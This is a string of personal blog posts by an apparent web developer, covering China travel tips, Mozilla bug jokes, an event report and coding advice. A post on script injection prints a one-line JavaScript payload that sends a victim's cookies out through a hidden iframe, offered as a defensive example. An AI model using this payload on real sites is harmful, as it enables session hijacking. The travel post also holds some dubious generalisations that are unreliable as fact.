Cultural Learnings of China for Make Benefit Glorious People Everywhere

Excuse the title 😛 I just wanted to share a few things that might be helpful to know if you are visiting China for the first time.

  1. Food! – Food in China is definitely not the ‘Chinese’ you eat in your country. I found real Chinese food much more tastier (and healthier, coz they eat it every day). Also the variety in food is overwhelming. Do try everything you can get your hands on.
  2. No tipping in restaurants.
  3. China is not cheap. I, like many others, assumed that since most of the goods we use are made in China, I could get stuff for cheap from there. But this proved a myth. My Nike shoes (made in China) costs the same, if not more, in China, as it is at home. This is especially true if you are visiting only the big cities. The places that manufacture these goods are in the more remote places.
  4. Haggle – don’t be ashamed to haggle when you go around buying from local vendors. You can often negotiate and bring the price down much lower than what was offered first.
  5. Get a guide who speaks Chinese. Unless you or someone traveling with you know Chinese, make sure you get a guide who can speak Chinese. English is of no help in China, especially if you are traveling outside of big cities like Beijing. But even in Beijing, the vast majority (save for kids) don’t speak English. Anyway, it wouldn’t hurt learning a few useful Chinese words and sentences before your trip.
  6. Be wary of counterfeit currency when you spend money and get change from someone. I don’t know how to detect counterfeit Chinese currency, so better check about it somewhere before you go.
  7. Chopsticks – People eat with chopsticks, not spoon or fork and knife. You could find it a little difficult to eat with a chopstick at first, but stick with it (pun intended) and you will get considerably better in a couple of days. And using chopsticks, instead of spoons like some lame foreigners, will earn you respect from the Chinese. (Now don’t go embarrassing yourself trying to drink soup with chopsticks; that’s what they give you the spoons for).
  8. Don’t stick chopsticks up in your food. It is considered very rude (it refers to death/funeral etc, IIRC).
  9. All food items are insanely hot. Seriously.
  10. The name China was given for the country by westerners because the country was famous for its china (as in chinaware). The name the Chinese call China is ****** (forgot what it was). For the sake of your sanity, I’ll continue to refer the country as China for the rest of this post too.
  11. Not really your problem, but there is this thing called ‘apartment problem’ in China. They built too many apartments but most people are unable to afford them, so you will see a lot of tall, unoccupied apartment buildings.
  12. The Chinese script is really beautiful and expressive. For example, the Chinese character for bird is bird-chinese, which totally looks like a bird if you ask me. And the character for chicken is chicken-chinese. And duck is duck-chinese. See? The character for fire is fire-chinese. It goes like that and is fucking amazing. The character for ‘man’ is literally a stick figure with a dick: man-chinese, see? No? Now I thought jing-chinese meant an elephant wearing a hat, but it actually means Jing as in Beijing (beijing-chinese). So don’t go assuming a lot yourself either.
  13. Carry toilet paper with you always. The Chinese invented the toilet paper and there are indeed public toilets everywhere, but it is expected that those who need to use them carry the paper with them. You will sometimes find toilets with paper dispensers too, but these are rare. So, to be on the safe side, carry a few with yourself always.
  14. Toilets are squat toilets.
  15. Carry power adapter compatible with Chinese power sockets.
  16. Majority of the Chinese have no religion. A few are Buddhists, but Buddhism in China is more of a tourism thing than a serious religion for most people.
  17. Don’t go accusing the Chinese of piracy or making counterfeit products. “It is not piracy, it’s reverse engineering”, as I was told.
  18. People talk loudly. You might think they are having a heated argument, but it’s probably just friendly conversation.
  19. Mahjong is a real thing, not a Windows game. People play Mahjong into the night in coffee shops and such.
  20. Kung fu is real and amazing like how you see in the movies.
  21. Don’t talk politics; you are likely to offend someone. You might think China is ruled by ruthless communists who ban internet and stuff, but the Chinese are quite happy with their system (as people in any country can be). So don’t go offending your hosts with what you learned from western media. (This came as a shocker to me, but the lovely Dalai Lama is not considered a good guy in China).
  22. Internet is heavily firewalled, so get a proxy subscription before you enter China if you plan on using Gmail or any other Google services or chat apps such as Telegram etc. Baidu is like the Chinese Google and has their own search, maps and all. But Baidu is available in Chinese only, so probably it will be as useful to you as a coconut to a dog. If you are using Android phone, keep in mind that Google Play store is also blocked, so if you want to install a proxy app or something, you should do it before entering China. (PS: There is this app called Baidu Translate, into which you can enter English text and it will translate it to Chinese + lets you listen to the pronunciation. Could be handy.)
  23. Countries have local names in Chinese. For example, India is called “Indu”.
  24. If your name is not Chinese, it probably can’t be written using Chinese scripts. So when writing foreign/English names, the Chinese just write them in English.
  25. Traffic is crazy. Seriously, be very careful. Drivers don’t give much consideration to traffic signals, pedestrian crossing areas and such. Once when I was in a taxi, I saw a guy playing video game in his phone while driving. Literally, while driving (the traffic was heavy and vehicles were moving slow).
  26. And last but not the least, the Chinese are nice people (as people are anywhere else).

10 funny bug reports from Mozilla’s bug system

Here are some of the funniest bug repots I found in, the bug tracking system used by all Mozilla projects. I had fun compiling this list; hope you have fun reading them too.

IMPORTANT: Please do not add further comments to the bug reports. Doing so would send mails to a lot of people.

Bug 95849 – “Lack of Sex is interfering with my ability to triage bugs”

’nuff said

Bug 330884 – “This privacy flaw has caused my fiancé and I to break-up after having dated for 5 years.”

Bug 52094 – “hyatt should give ben $50”

Bug 98491 – “Vending machine on the 2nd floor has raised prices by $0.05”

Bug 665750/Comment 38 – “Export a subset of pages for offline reading”

Bug 122411 – “Mozilla does not have a kitchen sink”

Bug 216332 – “Mozilla doesn’t work during massive power outages.

Bug 125287 – owes me some hot scandinavian blondes”

Bug 60455 – “Mozilla doesn’t add time to the day”

Bug 46244 – “need to go to denny’s”

Thanks to @tofumatt for bringing up some of these 🙂
Lemme know if you have come across anything that I haven’t listed.

Rants about the HTML anchor tag

Links are probably the most important of all the elements on the Web. Links are what make the Web, a WEB – of interconnected resources. Here are a couple of things you probably didn’t know or may be did, about links, aka anchor tags. Normal text, as the text content in a book is considered to be linear, as information flows from one end to the other there, linearly. HyperText is text that is not linear. HyperText can have an additional dimension, which is the meaning defined by a link. The ability of HTML to have links is why it is called HyperText Markup Language.

the download attribute

The traditional way of prompting file download is by adding a ‘Content-Disposition’ header, which is done at the server side. HTML5 introduces a download attribute to your anchor tag and it will prompt file download of the linked resource when the link is clicked.

<a href="video3482.mp4" download>Download video</a>
Providing a value for the download attribute is optional, but if you provide a value, then the download prompt will have that value as the default filename for the file to be saved.

Later versions of Firefox (v20+) requires that if download attribute is specified, then the value of href must be a resource of the same origin. And, as of now, as you would expect, IE doesn’t support the download attribute yet, but they are planning to.

#top will scroll to the top

HTML5 defines that if the value of href is not a valid element ID in the page, then if the value of href is #top, clicking on the link will scroll to the top of the page.

href stands for hypertext reference

When I first learned html, I found the href attribute hard to remember. It made no sense to me. I read it as h-r-e-f. But later I deduced that it was actually h-ref and then everything made sense. Like everyone, I also assumed that the h stood for hypertext or hyperlink. Well, today I did confirm that h is for hypertext. So href is in fact hypertext reference. Tim Berners-Lee says so.

Load a JavaScript file dynamically and call a function from it

This is how you provide an embed code, which will load a JavaScript file dynamically into the website and call a function from inside the file with externally passed params.

Event Report: Firefox OS App Days Kerala – 22nd June 2013

   I’m really excited to tell you about the Firefox OS App Days we conducted at Kochi (Kerala, India) on 22nd June.

Short version:-

The event went better than we hoped for. 56 participants and 9 Mozillians attended. 14 apps were demoed. Had a remote session over video conf by Nick Desaulniers of Mozila Corp. Got 3 news paper coverages including one in a national daily. Succeeded in creating a hyper buzz about Mozilla in the state of Kerala. Getting lots of requests from colleges to conduct mini app days there – 2 mini app days already in motion.

Thanks, credits and acknowledgements: See Foreword and Acknowledgements at the end of this post.

(Jumbo version of the report is below the image)

Firefox OS App Days Kerala

Hackers, techies, mentors and Mozillians at Firefox OS App Days Kerala

Jumbo version:-

2. Our Primary goal

Despite being a state with over 30M in population, the Mozilla community’s presence here was very low with just one event so far. So we wanted to make such a statement here that would send waves through the techie community here. And, in case you missed the event title, we wanted to introduce Firefox OS to the world here.

3. The Event

The event went far better than we hoped for. The event was hosted at Startup Village, a technology business incubator that is home to several startup companies. The venue is also the first place in India to get a 1Gbps internet connection in 2012.

Registration and breakfast started at 8.30AM. Sessions by Srikar, Nick and Jai followed. Lunch at noon. The hackathon session was in the afternoon, which continued until 5.30PM, followed by demos by developers. After the demos, a cake was cut to celebrate 15 years of Mozilla. The team that made the best app (a Japanese flower arrangement game) was invited to cut the cake. Followed by cake, snacks and drinks, around 20 tshirts were distributed to the people/teams that demoed apps.

We were expecting the new Firefox mascot to get ready by the time of this event, but unfortunately he couldn’t come.

Feedback: From the feedback we got from the attendees,
100% told they were glad they attended and will be attending future Mozilla events.
90% rated the event either 4/5 (good) or 5/5 (awesome).
10% rated it as 3/5 (ok).

4. Participants

Our plan was to host the event with 50 participants. So our initial goal was to get around 150 registrations. But by the time we closed the registration, we had a total of around 450 people registered.

Out of the people registered, we handpicked mostly developers and sent out invites. Attendees were mostly developers, founders of tech startups, professionals and a few students. Among the professionals, we had two attendees from Sony’s Asia Pacific software dev centre at Bangalore. As you probably know, Sony is a partner company that has committed to bring out Firefox OS smart phones and these two engineers were working on the Firefox OS team at Sony.

We had such a bunch of great attendees and I’m really glad about meeting them all.

5. Apps Made

14 apps were demoed at the end of the day. Some of the interesting ones were:

    ♦ an HTML5 implementation of a Japanese flower arrangement game
    ♦ a snake and ladder game
    ♦ a hangman game
    ♦ a wallet utility thingy
    ♦ a game for identifying similar items with pictures and sounds for autistic kids
    ♦ an app that would let us add a new note every time a call is received (by the Sony people)

There were a few other apps such as a BMI calculator, a news reader for Hacker News, a language translator, unit conversion apps, an event management program thingy, a couple of love calculators as usual <3 etc. I don't have links to any of these programs, as none of the programs were 100% complete and the apps were demoed directly in the simulator. So we have mailed the attendees to complete and polish the apps and submit them to the marketplace.

6. Attended Reps

The attended Reps/Mozillians were:-

Jai Pradeesh

7. The super mega jumbo Firefox cake

3 Kilos of secure browsing 🙂 It was so delicious, I’m sure at least 2 Chromians converted to Mozillians instantly upon tasting it.

8. Metrics

(TL; DR – All metrics fulfilled)

● Metric #1: New Apps to Marketplace
» Success scenario #1: Getting 10 new apps developed and submitted to the marketplace?
» Result: 14 apps demoed at the event. Waiting for the participants to finish and upload them to the marketplace.

● Metric #2: Get new contributors to Mozilla
» Success scenario #2: Recruiting at least 10 new contributors to Mozilla. Get the contributors to signup through the tracking link
» Result: The link has 15+ signup count

● Metric #3: Boost the usage of Mozilla Products and awareness
» Success scenario #3: 75 to 100 percentage among the attendees and from there to other users
» Result: Most attendees said they use Firefox. Awareness, check. Usage, check.

● Metric #4: Make a strong foundation for Mozilla in the Kerala Locale
» Success scenario #4: This is the first major Mozilla event in Kerala. We are planning to conduct a series of the series of webmaker+app dev events in colleges across kerala. This event should create enough hype and momentum about Mozilla and its mission, so that we upcoming events have better adoption in the locale.
» Result: Succeeded in creating a wicked hype in Kerala. We have already been contacted by 4-5 engineering colleges to conduct mini app days there. Have already set plans for two mini app days in motion.

● Metric #5: Get the event featured in news paper
» Success scenario #5: Have the event featured in at least one main steam news paper
» Result: Got covered once in a national daily and twice in a regional language daily.

Readership of the national daily is 2.2M per day*
Readership of the regional language daily is 20M per day*

*From Wikipedia

Newspaper clippings:-
[News 1] – (Malayalam)
[News 2] – (Malayalam)
[News 3] – (English)

The post event feature was featured in the front page on online version of the news paper for a week.

9. Photos

I have picked a couple of images below for quick look:-


The full set of images are here:

[Set 1] –
[Set 2] –

0. Foreword

Despite its placement in this report, I wrote this foreword first. The sole purpose of this section is to credit the *one* person without whom this event wouldn’t have happened – Midhun (@midhun__manoj). Whether you decide to congratulate me for anything or to blame me for anything; this guy deserves an equal share. If I thank him for the event’s success, it will be a total insult, because it was his effort as much as it was mine (it just happened to be my name in the event owner field in reps portal, which is just a technicality and irrelevant AFAIC)

1. Acknowledgements

Me and Midhun have a lot of people to thank for the success of the event. (Listed in alphabetic order)

Abhishek Potnis
Abhishek helped us in the initial stages when we kicked off the online campaign. He helped with the registration pages and stuff, which we are really thankful for.

Galaxy Kadiyala
Galaxy helped us getting the app days tshirts ready and delivered in time.

Gautamraj Elango
Our resident webmaking expert.

Jafar Muhammed
He designed the attendee identity cards and helped us with everything including answering queries through our fb page and group and great help during his time at Kochi.

Jai Pradeesh #PrawnBiriyani
Jai took a great session on Firefox OS development and won the heart of the audience. I hear that he is getting 100s of friend requests everyday now.

Jayakumar Sadhasivam
Jayakumar took a lot of photos that we uploaded and was great help at the venue. He was also the one person who attended all our online planning meetings without fail.

Naresh “Hauntin” Kumar, the Hacker
The first of the outer state reps to arrive at Kochi. He helped with everything when he was at Kochi. He kept complaining about my English, so I tried to poison him using #PrawnBiriyani, but it backfired on someone else.

Soumya Deb
Soumya, who is my mentor, helped us with pointers on the budget as well as with getting it approved in time. He also helped us getting the event metrics refined and measurable.

Srikar Ananthula
Srikar took a really nice session about WebFWD.

Sujith Reddy
Sujith treated the event as his own and extended all the help he could. His contributions are so many, including printing the banners, bringing swags, taking photos etc.

Vineel was great help, especially during the initial planning stages when we needed it the most. He lent his help every time we needed, which includes, but not limited to, arranging the remote session by Nick Desaulniers.

Yours truly,
   Saurabh (jsx)

12 Things That Would Make You A Better Software Developer

12 valuable lessons I learned from my two years experience as a developer. Some are bits I picked up along the way, but some are hard learned tidbits of wisdom I learned from my own mistakes.

The 12 points discussed in the post are the following:-

1. Know your tools
2. Modularize
3. Error messages are your friends
4. Plan, Plan, Plan
5. Maintain predictability in code
6. Write beautiful code
7. Refactor
8. Central location for configuration/settings
9. Push towards automation
10. Keep the comments updated
11. Write jokes in comments
12. Choose the right team


1. Know your tools

Programming is no longer just typing code out of the air into your text editor and compiling it after you are done. Programming is more of an interactive process now.

Lots of tools are available now, that can boost developer efficiency. Most programming languages have rich IDE’s with features such as “intellisense”, auto-complete, realtime syntax checking, profiling and debugging assistance, source control integration etc built-in. Knowing these various tools and features are not a must to be a great programmer, but, without a question, better tools can boost your efficiency as one.

There are programmers who swear on their text editors.

When I started out as a programmer, I didn’t know that you could trace (execute) your Javascript code line by line and watch the values of variables in realtime, as they change.

I found it accidentally one day. And I still remember that moment. It felt like pausing time. I felt like I was using magic sands to stop time. (When you play the game, Prince of Persia you can pause time using these magic sands. When you do this in the game, everything except you are frozen in time, and when everything including your enemies are frozen, you can go around killing your enemies and doing stuff.)

It was amazing! Anyway, what I was telling was that, if you find out and utilize such features and tools, you will find life much more easier. Learning little tricks like these are like collecting those magic mushrooms in Super Mario. They give you super powers, and hopefully, you will be able to knock down your enemies more easily.

“If I had eight hours to chop down a tree, I’d spend six hours sharpening my axe” – Abraham Lincoln.

So, get sharpening your axe!


2. Modularize

All software projects start small and gradually grow over time, adding features and getting fat. So when you start planning a project, modularize it – divide it into modules.

A module can be a section doing a particular task. Or a module can be a semantic group of functionalities. For instance, if you were making a program like Micosoft Word, then you can put together all the code for text formatting (coloring text, making it bold, italics, changing font etc) together into a single module.

Such breaking up of a project will make assessment, assignment, development, management and maintenance easier.

An important thing to note about when you modularize your project/program is that, modules should be be as independent as possible. In computing, this design principle is known as Separation of Concerns. Later, the different modules can be plugged together to achieve the full program.

Also, make sure your modules make sense in a semantic and/or functional way. You can have sub-modules and sub-sub modules inside your module.


3. Error messages are your friends

Error messages thrown by the programming language or its environment are immense help in identifying and solving issues.

Consider a Javascript program with just 100 lines of code. You, the programmer mistyped a variable. Say this variable was being used only in a special case. As a result, the program is not working as intended in the special case. If an error console is not present and you don’t see an error report, you are very unlikely to even find out that there is an issue.

So when you develop/debug/test, always enable error reporting. Error reports usually have all the information you need to fix most of the issues, down tho the line number where the problem is.

All languages (that I have ever encountered so far) have one way or another to report issues. If it is browser-side Javascript code, check the error console of Firebug or Webkit’s Inspector. If it is a PHP program, make sure error reporting is enabled for E_ALL and monitored.

If you are working with PHP, here is a nice article to help you tailor error reports the way you want. So make sure you learn more about error reporting for your particular programing environment.


4. Plan, Plan, Plan

“Weeks of programming can save you hours of planning” – Author unknown.

When I first learned programming (C language) in college, whenever a programming question was given to me, I would start up my IDE (Turbo C) and start typing #include<stdio.h> void main() ….  etc. I would just type furiously, until I get blocked. Then only I would start to think where I’m going next.

Well, actually, this approach worked for me, in college. I would like to quite humbly 😛 let you know that in our batch, I was the first one to compete the programming task and exit the lab on our C programming lab examination. (Its my blog, I’ll brag 😉 )

The thing is, proceeding without planning will work when you are writing a program in school to check if a string is a palindrome or not. But the case is very very different when you are building a large application for real-world use. Without proper planning, you will overlook issues, write crappy code and waste time and resources. Let alone the later feeling of self pity.

Let me tell you what happened to us in one project. In this lame social network application that we were making, the site’s users were able to message each other, naturally. When user A sends user B a message, we inserted one row in the messages table with from=A, to=B. User A could see this message in his ‘Sent messages‘, and user B could see this message in his ‘Inbox‘. Everything worked quite well – until user B decided to delete the message from his damn Inbox. Well, when B deleted the message from his Inbox, bam!, the message was deleted from user A’s ‘Sent messages‘ also.

The problem was that, each message was a saved as a single record in the messages table, and actions from both sender and recipient were directly applied to it. So if either its sender or recipient deleted it from his mailbox, it would disappear from the other person’s mailbox too. Oh, and let me regretfully confess that I was was the one designed the above said database. All because I jumped in without planning properly. Well, there is a lesson learned, and a couple of sleepless nights 🙂

Anyway, what I do now is that, when I get a problem, I analyze and understand it well. Then I outline a plan to tackle the issue. Once I’ve outlined the solution/algorithm I’ll try to see if there is anything I overlooked. Once I’m happy with my plan, I’ll go ahead and implement it. If the problem is complex, I’ll ask somebody to take a moment and review my plan.

As humans, we are prejudiced about things based on our very limited knowledge. As a programmer, it is always good to ask your friends or ask in StackOverflow or somewhere to see if anyone else has a different solution for the same problem.


5. Maintain predictability in code

When you are working in a project with more than one developer, discuss with your team and decide upon the conventions you will be using. Conventions include, but not limited to, naming of variables, classes, functions, database tables etc, interfaces of modules, coding style, documentation practices etc.

When commonly agreed upon conventions are used in a project, it gives the advantage of predictability to the programmers. Predictability probably sounds unimportant, but believe me, it is important.

For example, in a project, we agreed that entity classes will be the singular form of the entity name in UpperCamelCase. We also agreed that all tables will have a method such as get_entity_details(entity_id) to get a particular entity’s details. So naturally a person can expect that User->get_user_details($user_id) will give a particular user’s details, without checking the code or documentation. Do you see the beauty of predictability? May be you don’t yet. But take this, such perks are huge bonuses when working in big projects.

And a little rant, I once worked with a programmer who made frequent careless spelling mistakes. In code. If he was creating a User class, he would probably write a misspelled member function like this get_uesr_details(). When someone else tries to call the function in their code, they will, out of instinct, use the correct spelling, which is get_user_details(). Of course it will trigger an error somewhere saying that “function get_user_details() does not exist”, and the second programmer will have to refer the my dear buddy’s code/documentation to see what the wonderfuck is going on.

Man, did that guy give me enough headaches for a lifetime or what!

Checkout the coding conventions for PHP, by the Zend Framework people. Even if you are not working with PHP, you can get some ideas from it.


6. Write beautiful code

“Programs must be written for people to read, and only incidentally for machines to execute.” – Abelson / Sussman

When you write a piece of code, keep in mind that it is very very likely that you or someone else will be coming back to the code in some point in the future. May be someone will want to modify the code and add a new feature, or may be someone will need to fix an issue in it or may be someone just need to look at your code and study it. If you write clear, readable code, your colleagues will hate you less for it. And there is a good chance that you will go to programmer heaven when you expire 🙂

There was this buddy of mine who never ever use consistent indentation. I have a screenshot of his code below.

Code with inconsistent style 

If it missed you, indentation, brace positions and everything else is inconsistent in those 6 lines given above.  The above code might still seem ok for some of you. But a real program is almost never 5-6 lines like this. Imagine a source file with 2000 lines of code like this, where complex logics are implemented.

Jeff Atwood in this essay says that “beauty isn’t just skin deep, so beauty of a piece of code lies in the underlying ideas and algorithms represented there, not just in the code itself”. He’s right, but it doesn’t hurt if the code itself is beautiful and readable, does it?

Here are some pointers to write beautiful code:-

1. Consistency is a key factor in writing elegant code. Decide on a style and follow it.
2. Proper & consistent use of white space (indentations, space between tokens etc)
3. Proper use of comments.
4. Stick to conventions.
5. Meaningful names for variables, methods, classes, tables, files etc.

These are a few points that just came of the top of my head. Here is a well written article with guidelines on writing beautiful code.


7. Refactor

Refactoring is making slight changes in the existing code to improve it. Continuous improvements will make the code more understandable and maintainable.

“By continuously improving the design of code, we make it easier and easier to work with. This is in sharp contrast to what typically happens: little refactoring and a great deal of attention paid to expediently adding new features. If you get into the hygienic habit of refactoring continuously, you’ll find that it is easier to extend and maintain code.”
Joshua Kerievsky, Refactoring to Patterns (From Wikipedia)

But at times, you will face situations where just refactoring isn’t enough. At those times, a complete rewrite could be the only solution. Joel Spolski, CEO of StackOverflow and the renowned author of Joel on Software, writes in an article named Things You Should Never Do, Part I, that one should never rewrite code. He reasons that the project will be set back in its schedule if gone for a rewrite. Ok, never rewrite is a little too strong a choice of words here, imo. So, lets take home this:- 1) refactor continuously, 2) rewrite only when there is no other option.


8. Central location for configuration/settings

In typical PHP projects, there is a file called config.php, which holds the configuration settings. I’ve seen projects in other languages also employing similar configuration files. It is always a wise choice to store all your configuration settings grouped together in a central location.

This is helpful in deployment, because there are fewer files to edit and configure. Also, it is hard to miss one of the settings when you are grouping them together.

The optimal scenario is to save configuration in a separate dedicated file which is exclusively for saving configuration. It is best if you could avoid adding application or business logic into these configuration files. When Version Control Systems (VCS) are used for managing the source code, we will usually need to keep the configuration files outside of source control’s tracking. If you had other code or logic also included in your configuration files, excluding these files from source control will be messy.


9. Push towards automation

Lots of things at different stages in a project can be automated. The most commonly seen automation scenario was automation of test case verification. Deployment automation is also on the rise now. Previously shell scripts and similar techniques were used for automated deployment.

Now there are tools such as Capistrano for deploying web applications which allow sophisticated level of control with ease than the shell scripts.

In a project I did, we wrote a script to sweep over the United States to pick up business listings and save them to a database. The script took around one week to complete one full scan over the U.S. When one sweep was over, we had to manually reset the script with new start points (latitude and longitude) for the script to start again. This was ok initially, because we had to do it only once a week. But later we were running multiple script instances at the same time from multiple servers to speed up our gathering of data. So we had to manually reset the completed scripts more often, usually once every day, which soon enough became very cumbersome. It was an unnecessary process that wasted several of our precious man-hours.

Later we automated the script-reset process and things were swift.

Quora Engineer, Edmond Lau in his insightful answer to “What makes a good engineering culture?” says:-

In his tech talk “Scaling Instagram”, Instagram co-founder Mike Krieger cited “optimize for minimal operational burden” as a key lesson his 13-person team learned in scaling the product to tens of millions of users. As a product grows, so does the operational burden per engineer, as measured by the ratio of users to engineers or of features to engineers.  Facebook, for example, is well-known for touting scaling metrics like supporting over 1 million users per engineer.

When repetitive tasks are automated, we are making the system take care of itself with least manual interference. Edmond Lau continues to say that automated tasks must be logged and measured:-

Without monitoring and logs to know what, how, or why something is going wrong, automation is difficult. A good follow-up motto would be to “measure anything, measure everything, and automate as much as possible.”


10. Keep the comments updated

It is better to have no information rather than having wrong information“. When I ask someone for route, I would rather have them say “I don’t know” than pointing me in the wrong direction.

Comments are like signboards. Comments, when properly written, are as good an asset as the code itself. They will help the reader get a grasp on what is going on in the code faster.

Now imagine the case where this nice programmer wrote a well commented program. Anther guy, when modified the program didn’t bother to update the comments to reflect the new modifications he made. Now the program has comments that are no more valid. Now the program is going in one direction, but the comments are pointing the other way. Well, what more can be said. The third person trying to understand the code is in for a serious brainfuck.

Don’t ignore comments and leave them wrong because they do not affect the program’s working. A program is already difficult to read than it is to write it. So, keep your comments updated and accurate.


11. Write jokes in comments

Another one:-
// I dedicate all this code, all my work, to my wife, Darlene, who will
// have to support me and our three children and the dog once it gets
// released into the public.

If you can light up a moment of another miserable programmer treading through your code, please do it 🙂

The best thing about writing jokes in comments is that, your joke doesn’t even have to be explicitly funny or witty. Almost anything light hearted or foolish you write there will seem funny to someone.
// If this code works, it was written by Paul DiLascia. If not, I don't know
// who wrote it

(Comments collected from StackOverflow)


12. Choose the right team

Last, but not the least, choose the right team. This applies especially if you are a team lead or something of that sort. Do not pick people into your team just because you like them or cuz they are friends with you. If you do, take my word for it, you will ruin the project as well as the relationship.


If you like the post, click here to get email alerts when new posts are published.

Did you like the post?Do you agree or disagree with any of these points in particular? Do you have any points of your own to share? Let me know in the comments.


A word on script injection attacks

The scenario

Say your application – whether it is written in NodeJS or PHP or Ruby or whatever – has a form where Joe the User can input data (may be a profile edit page). The data entered by Joe is displayed to other users (Sam and Woody) when they visit Joe’s profile page. This would be a perfectly ok situation if Joe is a nice person, doing an honest days work to earn a living.

The problem

But unfortunately, Joe could be a hacker trying to steal Sam’s digital identity (and/or money). Or, most commonly, Joe could be a zombie looking around for security loopholes for malicious hackers to exploit. Oh, yeah, zombies are real. We call them bots in the digital world.
In any case, our incarnation or evil, Mr. Joe could enter a content like this into his profile update textarea:-

document.body.innerHTML += '<iframe height="1" width="1" src="'+encodeURIComponent(document.cookie)+'"></iframe>';

The above 1 line code is self explanatory. The code, if rendered as it is, will steal the currently logged in person’s (Poor Sam’s) cookies and could send it the malicious hacker Joe. With Sam’s cookie data in hand, Joe can login to the site as Sam and access Sam’s private data or can do things on behalf of Sam. Imagine the horror.

The solution

Well, the solution is simply to assume that every user coming to your site could be Joe the Crook and when handling user provided data, be cautious. What we need to do is very simple.

1. Either remove all/some html tags from any user entered content before saving to the database.

2. Or, strip away all/some html tags from the user entered data, each time when it is going to be rendered to someone.

Both methods are more or less the same and has minor trade-offs. I leave you to be the judge of that.
If you are building a Javascript/NodeJS application, you can use the below code to strip all html tags from the passed content.


For some reference on XSS attacks, see this.

Get the list of packages that got removed from Ubuntu/Debian

My friend accidentally removed the libxml package from his Ubuntu server. And the package manager automatically removed all the other packages that were dependent on libxml, such as subversion, php, apache etc. Can you imagine the state of chaos it is when php, apache, svn and a whole list of god-knows-what packages get uninstalled from a live server 🙂

Well, after the initial moment of FUD, we got the list of packages that got removed by checking the apt log file  which is located at /var/log/apt/history.log and installed them back 🙂  To see the contents of the apt log, type cat /var/log/apt/history.log into the terminal and check for the date you think the files got removed.

Command to see apt log:-

‘Realtime’ Chat with WebSocket and NodeJS


(Open the chat in two or more browser windows/computers and check how fast the realtime updation is!)

Gmail chat, Facebook chat etc were implemented using a technique – rather a hack – called long polling[1]. It is the technique where the client initiates a request to the server. The server rather than returning the client with a response, keeps the connection open for a longer time. The server only returns to the client with a response when it (server) has something new for the client. The advantage of long polling over normal polling are reduced latency and saving from the overhead of sending too many short http requests.

Still, long polling is the same old request-response http transfer mechanism. It wasn’t created for realtime communication.


Then came WebSockets. WebSocket is a technology that enables full duplex communication between two nodes. At the beginning of the communication, the client makes a handshake with the server and opens a connection with the server. Once the socket connection is opened between the server and the client, both the server and client can send data to each other freely without further solicitation. Doesn’t it sound awesome?


The WebSocket spec is still in draft state as of writing this post, but most of the browser vendors have already started adding support for websockets.


See a chat app I made with WebSocket & NodeJS. You can checkout the source code on Github.

In the demo, WebSocket is used for opening socket communication with the server.

And NodeJS with websocket module is installed to support evented communication and websocket protocol support in the server.

PS: The above demo is running in my test server. So I might be down at times when I’m frying the server 😉



Web service API Specification Doc Template

Finally I got sick with the webservice spec documents we were using at my previous employer. I searched all over the web for a document template that I could use for laying out our new web service’s API specification. I found several ones – good and bad -, but none were up to my expectations. So I decided to create a document template myself. My key design goals were the following:-

  • Ease of use
  • Clear
  • Concise
  • Not boring to look at.

I finally came up with a document template that I (and my colleagues) liked. Hope you find it useful too. Its created in Google Docs and shared ‘publicly’, so you can easily copy it and use it for your own projects.

See it in action -> Web service API Specification Document Template


If you are already logged into your Google account, you will see a preview and ‘Use this template’ button below:-
(To use the template, login to your Google account and then refresh this page, and you will see a ‘Use this template’ button below)

Tips for use:-

  1. Be consistent
  2. Use colors, fonts, font size etc to visually distinguish and classify things.
  3. Use fixed width fonts (courier, monospace etc) for showing code.
  4. Don’t clutter it up with too many colors and fonts.
  5. Managing and updating a good document is not very easy; but remember, everything worth doing is difficult anyway!

So what do you think? Like it? Where do I need to improve it?